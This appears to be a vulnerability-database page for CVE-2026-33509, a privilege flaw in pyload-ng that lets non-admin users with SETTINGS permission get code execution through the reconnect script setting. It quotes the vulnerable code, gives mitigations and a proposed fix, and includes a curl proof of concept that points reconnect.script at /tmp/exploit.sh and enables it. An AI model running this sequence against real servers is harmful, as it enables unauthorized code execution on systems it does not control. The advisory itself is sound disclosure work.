NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-33509 — pyload-ng

HIGHFix: pyload/pyload@f5e284f

CVE-2026-33509 is a high-severity (CVSS 7.5) Improper Privilege Management vulnerability in pyload-ng. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

Also known asGHSA-r7mc-x6x7-cqxxPYSEC-2026-2996
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33509.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.36%0.72%1.08%0.1%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:

1. Unrestricted config write — src/pyload/core/api/__init__.py:210-243

@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
    self.pyload.addon_manager.dispatch_event(
        "config_changed", category, option, value, section
    )
    if section == "core":
        if category == "general" and option == "storage_folder":
            # Forbid setting the download folder inside dangerous locations
            # ... validation only for storage_folder ...
            return

        self.pyload.config.set(category, option, value)  # No validation for any other option

The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage_folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.

2. Arbitrary script execution — src/pyload/core/managers/thread_manager.py:157-199

def try_reconnect(self):
    if not (
        self.pyload.config.get("reconnect", "enabled")
        and self.pyload.api.is_time_reconnect()
    ):
        return False

    # ... checks if active downloads want reconnect ...

    reconnect_script = self.pyload.config.get("reconnect", "script")
    if not os.path.isfile(reconnect_script):
        self.pyload.config.set("reconnect", "enabled", False)
        self.pyload.log.warning(self._("Reconnect script not found!"))
        return

    # ... reconnect logic ...

    try:
        subprocess.run(reconnect_script)  # Executes attacker-controlled path
    except Exception:
        # ...

The reconnect_script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.

3. Attacker also controls timing via same SETTINGS permission

The attacker can set reconnect.enabled=True, reconnect.start_time, and reconnect.end_time through the same set_config_value() endpoint to control when execution occurs. toggle_reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.

4. Additional privilege escalation via config access

Beyond RCE, the same unrestricted config write allows SETTINGS users to:

  • Read proxy credentials (proxy.username/proxy.password) in plaintext via get_config()
  • Redirect syslog to an attacker-controlled server (log.syslog_host/log.syslog_port)
  • Disable SSL (webui.use_ssl=False), rebind to 0.0.0.0 (webui.host)
  • Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable

Via API:

# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
  -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'

Via Web UI:

curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
  -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'

Step 2: Enable reconnect and set timing window

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=start_time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=end_time&value=23:59&section=core'

Step 3: Script executes when thread manager calls try_reconnect()

The thread manager's run() method (called repeatedly by the core loop) invokes try_reconnect(), which calls subprocess.run(reconnect_script) at thread_manager.py:199.

Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

  • Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
  • Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
  • Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via get_config()
  • Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in set_config_value() that prevents non-admin users from modifying security-critical options:

# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "use_ssl"),
    ("webui", "ssl_cert"),
    ("webui", "ssl_key"),
    ("log", "syslog_host"),
    ("log", "syslog_port"),
    ("proxy", "username"),
    ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
    # Require ADMIN role for security-critical settings
    if not self.pyload.api.user_data.get("role") == Role.ADMIN:
        raise PermissionError(f"Admin role required to modify {category}.{option}")

Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ng≥ 0.4.0No fix

Affected Products

2 products · 2 configurations
Application
pyloadpyload
≥ 0.4 && ≤ 0.4.20
range
Application
pyload-ngpyload-ng_project
≥ 0.5.0a5.dev528 && < 0.5.0b3.dev97
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of pyload-ng for CVE-2026-33509. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary The `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlis
O3 Security · Impact-Aware SCA

Is CVE-2026-33509 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-33509: pyload-ng RCE (High 7.5)